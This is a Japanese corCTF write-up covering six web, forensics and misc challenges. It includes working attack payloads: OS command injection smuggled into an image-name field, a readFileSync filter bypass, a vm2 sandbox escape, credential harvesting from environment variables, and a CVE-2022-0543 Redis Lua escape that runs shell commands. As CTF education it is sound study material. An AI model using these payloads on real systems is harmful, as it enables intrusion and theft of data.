8/6 - 8/8という日程で開催された。zer0ptsで参加して10位。独創的な問題がいっぱいで楽しかった。solves数の多い問題から見ていっていたので、実はWebの高難度帯の問題はほとんど見ていない。要復習だなあ。以下はwriteupだけれども、すでに作問者のBryceさんだったり、JazzPizazzさんだったりがすでにwriteupを公開されているのでただの焼き直しになりそう。
他のメンバーが書いたwrite-up:
- [Web 104] jsonquiz (573 solves)
- [Web 109] msfrog-generator (280 solves)
- [Forensics 118] whack-a-frog (154 solves)
- [Web 209] simplewaf (28 solves)
- [Misc 321] sbxcalc (11 solves)
- [Misc 378] no(de)code (7 solves)
[Web 104] jsonquiz (573 solves)
jsonquiz.be.ax
というURLが与えられる。アクセスするとクイズが始まった。
真面目に答えるのも面倒なのでソースコードを確認したところ、/assets/js/quiz.js
にクイズの終了時の処理っぽいものがあった。どれだけ正解しようが score = 0
で提出されてしまうようだ。
let score = 0; fetch("/submit", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "score=" + score }) .then(r => r.json()) .then(j => { if (j.pass) { $("#reward").innerText = j.flag; $("#pass").style.display = "block"; } else { $("#fail").style.display = "block"; } });
雑にデカいスコアを提出する。これでフラグが得られる。
{ let score = 100; fetch("/submit", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "score=" + score }) .then(r => r.json()) .then(j => { console.log(j); }); }
corctf{th3_linkedin_JSON_quiz_is_too_h4rd!!!}
[Web 109] msfrog-generator (280 solves)
msfrog-generator.be.ax
というURLが与えられる。ソースコードはなし。アクセスするとこんな感じで絵文字でお絵描きして遊べる。
Generate
というボタンを押すと /api/generate
に以下のようなJSONがPOSTで飛んでいき、サーバ側で生成された画像が返ってくる。
[{"type":"mseyes.png","pos":{"x":26,"y":38}}]
Path TraversalかOS Command Injectionができるのではと考える。試しに type
の値を ../app.py
にしてみたところ、I wont pass a non existing image to a shell command lol
というメッセージが返ってきた。パスは画像でないとダメらしい。
ならばと neko/../msdrops.png
に変えてみたところ、以下のようなメッセージに変わった。
Something went wrong : b"convert-im6.q16: unable to open image `img/neko/../msdrops.png': No such file or directory @ error/blob.c/OpenBlob/2924.\nconvert-im6.q16: image sequence is required `-composite' @ error/mogrify.c/MogrifyImageList/7987.\nconvert-im6.q16: no images defined `png:-' @ error/convert.c/ConvertImageCommand/3229.\n"
neko;ls;a/../msdrops.png
でOS Command Injectionができた。
{"msfrog": "fe\nimg\nserver.py\nwsgi.py\n"}
neko;cat /f*;a/../msdrops.png
でフラグが得られる。
corctf{sh0uld_h4ve_r3nder3d_cl13nt_s1de_:msfrog:}
[Forensics 118] whack-a-frog (154 solves)
お絵描きアプリ再び。
マウスイベントが発生するたびに /anticheat?x=406&y=138&event=mouseup
や /anticheat?x=406&y=141&event=mousemove
のようにHTTPリクエストが飛ぶようになっており、これでお絵描きしている様子をキャプチャした whacking-the-froggers.pcap
というファイルが与えられる。
ScapyとPillowでなんとかする。
import re from scapy.all import * from PIL import Image w, h = 1920, 1080 im = Image.new('1', (w, h), 1) pix = im.load() c = 1 for pkt in PcapReader('whacking-the-froggers.pcap'): pkt = bytes(pkt) if b'GET /anticheat' not in pkt: continue [(x, y, event)] = re.findall(rb'x=(\d+)&y=(\d+)&event=(\w+)', pkt) x, y = int(x), int(y) if event == b'mousedown': c = 0 if event == b'mouseup': c = 1 pix[x, y] = c im.save('result.png')
実行するとフラグが得られた。
corctf{LILYXOX}
[Web 209] simplewaf (28 solves)
以下のようなソースコードと、これが動いているWebサーバへの接続情報が与えられる。flag
という文字列が含まれていない限り、fs.readFileSync
に好きな引数を与えることができるらしい。同じディレクトリに flag.txt
があるからそれを読むだけだと思ってしまうが、フィルターに邪魔されてしまう。
const express = require("express"); const fs = require("fs"); const app = express(); const PORT = process.env.PORT || 3456; app.use((req, res, next) => { if([req.body, req.headers, req.query].some( (item) => item && JSON.stringify(item).includes("flag") )) { return res.send("bad hacker!"); } next(); }); app.get("/", (req, res) => { try { res.setHeader("Content-Type", "text/html"); res.send(fs.readFileSync(req.query.file || "index.html").toString()); } catch(err) { console.log(err); res.status(500).send("Internal server error"); } }); app.listen(PORT, () => console.log(`web/simplewaf listening on port ${PORT}`));
fl%61g.txt
を投げてもデコードしてくれないし、file:///app/fl%61g.txt
のように file://
を頭につけてもやはりダメ。ほかになにか方法がないかNode.jsの公式ドキュメントを見に行ったところ、第一引数として string
, Buffer
, URL
, integer
のいずれかを受け入れることがわかった。なるほど、URL
オブジェクトならばURLデコードによってフィルターをバイパスできそうだ。でも、引数として渡されるのは req.query.file
とクエリパラメータ経由で与えられた値で、URL
オブジェクトに変換できるような処理はされていないから無理なのでは?
> fs.readFileSync('file:///etc/passwd') Uncaught Error: ENOENT: no such file or directory, open 'file:///etc/passwd' at Object.openSync (node:fs:585:3) at Object.readFileSync (node:fs:453:35) { errno: -2, syscall: 'open', code: 'ENOENT', path: 'file:///etc/passwd' } > fs.readFileSync(new URL('file:///etc/passwd')) <Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 1585 more bytes> > fs.readFileSync(new URL('file:///etc/p%61sswd')) <Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 1585 more bytes>
ソースコードを見ないとできるかできないかはわからないので、fs.readFileSync
の実装を見に行く。まず fs.openSync
を呼んでファイルを開こうとするらしい。
const isUserFd = isFd(path); // File descriptor ownership const fd = isUserFd ? path : fs.openSync(path, options.flag, 0o666);
fs.openSync
を見に行く。getValidatedPath
なる関数を呼んでいる。
function openSync(path, flags, mode) { path = getValidatedPath(path); const flagsNumber = stringToFlags(flags); mode = parseFileMode(mode, 'mode', 0o666); const ctx = { path }; const result = binding.open(pathModule.toNamespacedPath(path), flagsNumber, mode, undefined, ctx); handleErrorFromBinding(ctx); return result; }
getValidatedPath
では toPathIfFileURL
なる関数によって与えられたパスが file:
プロトコルのURLであるか確認しているっぽい。
const getValidatedPath = hideStackFrames((fileURLOrPath, propName = 'path') => { const path = toPathIfFileURL(fileURLOrPath); validatePath(path, propName); return path; });
toPathIfFileURL
の実装はこんな感じ。isURLInstance
がtruthyであれば fileURLToPath
という関数によってURLからファイルのパスに変換したものを返り値として返すらしい。
function toPathIfFileURL(fileURLOrPath) { if (!isURLInstance(fileURLOrPath)) return fileURLOrPath; return fileURLToPath(fileURLOrPath); }
では isURLInstance
はどうやって引数が URL
オブジェクトであると確認しているのか。実装を見てみると fileURLOrPath instanceof URL
のように URL
のインスタンスであるか確認しているわけではなく、なんと href
と origin
というプロパティが生えているかだけを確認しているようだった。もしかすると、req.query.file
を {"href":"…","origin":"…"}
のようなオブジェクトにすればよいのかもしれない。深掘りしていく。
function isURLInstance(fileURLOrPath) { return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin; }
fileURLToPath
はこのような実装になっている。もう一度引数を isURLInstance
でチェックした後に、protocol
プロパティが file:
であるか確認している。そして getPathFromURLPosix
でURLオブジェクトからパスを取得している。
function fileURLToPath(path) { if (typeof path === 'string') path = new URL(path); else if (!isURLInstance(path)) throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path); if (path.protocol !== 'file:') throw new ERR_INVALID_URL_SCHEME('file'); return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path); }
getPathFromURLPosix
の実装を見る。hostname
プロパティが空であるか確認した後に、pathname
プロパティをURLデコードしてくれている。やったあ。
ということで、fs.readFileSync
はドキュメントでは string
, Buffer
, URL
, integer
のいずれかしか第一引数として受け付けないと書かれていたけれども、実際は href
, origin
, protocol
, hostname
, pathname
の5つのプロパティに適切な文字列が入っていればなんでもよいことがわかった。
function getPathFromURLPosix(url) { if (url.hostname !== '') { throw new ERR_INVALID_FILE_URL_HOST(platform); } const pathname = url.pathname; for (let n = 0; n < pathname.length; n++) { if (pathname[n] === '%') { const third = pathname.codePointAt(n + 2) | 0x20; if (pathname[n + 1] === '2' && third === 102) { throw new ERR_INVALID_FILE_URL_PATH( 'must not include encoded / characters' ); } } } return decodeURIComponent(pathname); }
ローカルで試してみたところ、確かに動いている。
> fs.readFileSync({ href: 'a', origin: 'b', protocol: 'file:', pathname: '/etc/p%61sswd', hostname: ''}) <Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 911 more bytes>
リモートで試すとフラグが得られた。
$ curl "https://web-simplewaf-1161f645fd6c1aa1.be.ax/?file[href]= a&file[origin]=b&file[protocol]=file:&file[pathname]=fl%2561g.txt&file[hostname]" corctf{hmm_th4t_waf_w4snt_s0_s1mple}
シンプルながらも解くにはよく調べる必要があって、こういう問題大好き。
[Misc 321] sbxcalc (11 solves)
最終的に通していたのはjskimさんだけれども、面白い問題だったのでメモしておく。以下のようなソースコードが与えられている。75文字以下かつ /^([\w+\-*/() ]|([0-9]+[.])+[0-9]+)+$/
に当てはまっていなければならないという制限付きで好きなJavaScriptコードを実行できる。
Node.js備え付けの vm
モジュールでなくわざわざ vm2
というライブラリを使っているあたり、サンドボックスから抜け出すなということだろう。
目的は flag
という Proxy
オブジェクトにある FLAG
というプロパティに含まれているフラグを手に入れること。ただし、flag
は get
というハンドラが nope
という文字列を返す関数になっているので、単純に flag.FLAG
のようにプロパティにアクセスしようとすれば nope
が返ってきてしまう。
const express = require("express"); const vm2 = require("vm2"); const PORT = process.env.PORT || "4000"; const app = express(); app.set("view engine", "hbs"); // i guess you can have some Math functions... let sandbox = Object.create(null); ["E", "PI", "sin", "cos", "tan", "log", "pow", "sqrt"].forEach(v => sandbox[v] = Math[v]); // oh, and the flag too i guess... sandbox.flag = new Proxy({ FLAG: process.env.FLAG || "corctf{test_flag}" }, { get: () => "nope" // :') }); // no modifying the sandbox, please sandbox = Object.freeze(sandbox); app.get("/", (req, res) => { let output = ""; let calc = req.query.calc; if (calc) { calc = `${calc}`; if(calc.length > 75) { output = "Error: calculation too long"; } let whitelist = /^([\w+\-*/() ]|([0-9]+[.])+[0-9]+)+$/; // this is a calculator sir if(!whitelist.test(calc)) { output = "Error: bad characters in calculation"; } if(!output) { try { const vm = new vm2.VM({ timeout: 100, eval: false, sandbox, }); output = `${vm.run(calc)}`; if (output.includes("corctf")) { output = "Error: no."; } } catch (e) { console.log(e); output = "Error: error occurred"; } } } res.render("index", { output, calc }); }); app.listen(PORT, () => console.log(`sbxcalc listening on ${PORT}`));
まずはどうやって flag.FLAG
の値を手に入れるかというところから考える。sandbox.flag
の初期化時に get
ハンドラが与えられているけれども、getOwnPropertyDescriptor
は与えられていない。Object.getOwnPropertyDescriptor(sandbox.flag, 'FLAG')
してみると以下のようにプロパティディスクリプタ経由で得られることがわかった。
> Object.getOwnPropertyDescriptor(flag, 'FLAG') { value: 'corctf{test_flag}', writable: true, enumerable: true, configurable: true }
でも、フィルターによって .
や []
、文字列リテラルは使えない。どうやってプロパティにアクセスすればよいのだろう。悩んでいたところ、jskimさんが with(Object)with(getOwnPropertyDescriptors(flag))with(FLAG)value
のように with
文を使うことを思いついた。なるほど with
、頭から抜けていた。
これなら64文字で文字数制限に引っかからないと思ってしまうが、残念ながらもうちょっと頑張る必要がある。ソースコードをよく見ると、出力に corctf
が含まれていた場合に弾かれてしまう。
if (output.includes("corctf")) { output = "Error: no."; }
なら with(Object)with(getOwnPropertyDescriptors(flag))with(FLAG)with(value)at(0)
みたいに String.prototype.at
で1文字ずつ取り出せばよいのではないかと考えたが、残念ながら at(0)
の時点で75文字になってしまっている。11文字目以降はこのままでは取得できない。
最終的に、プロパティディスクリプタの value
プロパティにわざわざアクセスせず、with(Object)with(getOwnPropertyDescriptors(flag))with(values(FLAG)+E)at(0)
のように Object.values(FLAG)
でプロパティの値を配列化した後に、文字列に変換して String.prototype.at
で1文字ずつ抽出する方法をjskimさんが思いついた。なるほど~~~~!
corctf{d0nt_you_just_l0ve_j4vascript?}
なんとなく、Harekaze mini CTF 2020で私が出題したProxy Sandboxやzer0pts CTF 2021で出題したKantan Calcという問題を思い出した。もしまたこういう感じの問題を出すのであれば、今度は vm2
を使うようにしたい。
[Misc 378] no(de)code (7 solves)
ローコードにアプリを開発できるBudibaseというプラットフォームで遊ぶ問題。チームごとにインスタンスが立てられるようになっていた。
適当にアプリを作って遊んでみていると、以下のように呼び出し可能なアクションとしてBashスクリプトが存在していることに気づいた。
以下のような感じで、cmd
という引数を取ってBashスクリプトに渡すようなフローを作る。
実行するBashスクリプトを {{ trigger.fields.cmd }}
のようにすると、Budibaseがこれを渡された cmd
に置換した上で実行してくれる。
アプリの編集画面右上に存在している Run test
というボタンを押すと、以下のようにこのフローを実行できる。
試しに id
を入力してみると、以下のように uid=0(root) gid=0(root) groups=0(root)
と出力された。ちゃんとOSコマンドが実行できたようだ。
なにか怪しいファイルがないかなあと ls -la /
してみると、/SECURITY.txt
なるファイルが見つかった。
total 80 drwxr-xr-x 1 root root 4096 Aug 8 16:36 . drwxr-xr-x 1 root root 4096 Aug 8 16:36 .. -rw-r--r-- 1 root root 113 Aug 7 01:52 SECURITY.txt drwxr-xr-x 1 root root 4096 Aug 4 14:43 app drwxr-xr-x 2 root root 4096 Aug 1 00:00 bin drwxr-xr-x 2 root root 4096 Mar 19 13:44 boot drwxr-xr-x 5 root root 360 Aug 8 16:36 dev drwxr-xr-x 1 root root 4096 Aug 8 16:36 etc drwxr-xr-x 1 root root 4096 Aug 2 05:22 home drwxr-xr-x 1 root root 4096 Aug 4 14:43 lib drwxr-xr-x 2 root root 4096 Aug 1 00:00 lib64 drwxr-xr-x 2 root root 4096 Aug 1 00:00 media drwxr-xr-x 2 root root 4096 Aug 1 00:00 mnt drwxr-xr-x 1 root root 4096 Aug 4 14:44 opt dr-xr-xr-x 344 root root 0 Aug 8 16:36 proc drwx------ 1 root root 4096 Aug 8 16:36 root drwxr-xr-x 3 root root 4096 Aug 1 00:00 run drwxr-xr-x 2 root root 4096 Aug 1 00:00 sbin drwxr-xr-x 2 root root 4096 Aug 1 00:00 srv dr-xr-xr-x 13 root root 0 Aug 8 16:36 sys drwxrwxrwt 1 root root 4096 Aug 8 16:36 tmp drwxr-xr-x 1 root root 4096 Aug 1 00:00 usr drwxr-xr-x 1 root root 4096 Aug 1 00:00 var
中身は以下のような感じ。別に動いているRedisのコンテナに、ファイルとしてなにか価値のあるもの(フラグだろう)が含まれているらしい。
- Remove that file containing valuable contents from the Redis container - Check environment variables for leaks
環境変数もチェックするとよさそうなので printenv
を実行してみる。200個以上の環境変数があってアレだけれども、printenv | grep REDIS
で絞ってみるとRedisサーバに接続できるパスワードやホスト名が手に入った。
REDIS_PASSWORD=rI1W4PDBWcS2oGe3jcWXvtH8 REDIS_VERSION=5.0.7-2ubuntu REDIS_URL=redis-service:6379
BudibaseにはRedisと連携できる機能もある。以下のようにアプリの作成時にRedisを選択し、手に入れたホスト名やパスワードを入力する。
以下のように好きなRedisのコマンドを実行できる。環境変数によればRedisのバージョンは5.0.7-2だからCVE-2022-0543が使えるかもしれないと思うが、なぜか EVAL "return 123" 0
のようなコマンドがここからは実行できない。
Bashスクリプトなりなんなりを使って直接Redisサーバに接続し、インラインコマンドを送ってみるのはどうか。
node -e "const net = require('net'); const c=net.createConnection({ host: 'redis-service', port: 6379 }, () => { c.write('AUTH rI1W4PDBWcS2oGe3jcWXvtH8\r\nEVAL \"return 123\" 0\r\n') }); c.on('data',d=>{console.log(d.toString()); c.end(); })"
実行すると 123
が返ってきた。直接Redisサーバを叩くなら EVAL
が使えるようだ。なんで?
+OK :123
CVE-2022-0543を試してみる。ググって出てきたコードを持ってきて、Redisコンテナ上で好きなOSコマンドが実行できるRedisコマンドを出力してくれるスクリプトを書く。
pw = 'rI1W4PDBWcS2oGe3jcWXvtH8' code = """ local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0','luaopen_io'); local io = io_l(); local f = io.popen('cat /flag.txt', 'r'); local res = f:read('*a'); f:close(); return res """.strip() s = f'''node -e "const net = require('net'); const c=net.createConnection({{ host: 'redis-service', port: 6379 }}, () => {{ c.write(\\`AUTH {pw}\\r\\nEVAL \\"{code}\\" 0\\r\\n\\`) }}); c.on('data',d=>{{console.log(d.toString()); c.end(); }})"''' print(s)
出力された以下のOSコマンドを実行する。
node -e "const net = require('net'); const c=net.createConnection({ host: 'redis-service', port: 6379 }, () => { c.write(\`AUTH rI1W4PDBWcS2oGe3jcWXvtH8\r\nEVAL \"local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0','luaopen_io'); local io = io_l(); local f = io.popen('cat /flag.txt', 'r'); local res = f:read('*a'); f:close(); return res\" 0\r\n\`) }); c.on('data',d=>{console.log(d.toString()); c.end(); })"
これでフラグが得られた。
corctf{b4sh_and_n0d3JS_c4n_sp34k_r3dis_too!!}
という感じで書くと簡単な問題に見えるけれども、途中で迷いに迷っていたのでこの問題に取り組み始めてからフラグを得るまでに5時間ぐらいかかった。crusader@cor.ctf
というadminのユーザがいることに気づいて、これを乗っ取る必要があるのかと思って色々試していたけれどもダメ。CONFIG SET …
でファイルを書き込もうにもなんか動かないし、SLAVEOF
もアウトバウンドな通信が制限されているっぽいので面倒だし。幸いにも SECURITY.txt
があることは早いうちに確認できていたし、CVE-2022-0543もRedisが使われているのを見てまず思いついていたので、途中で軌道修正できた。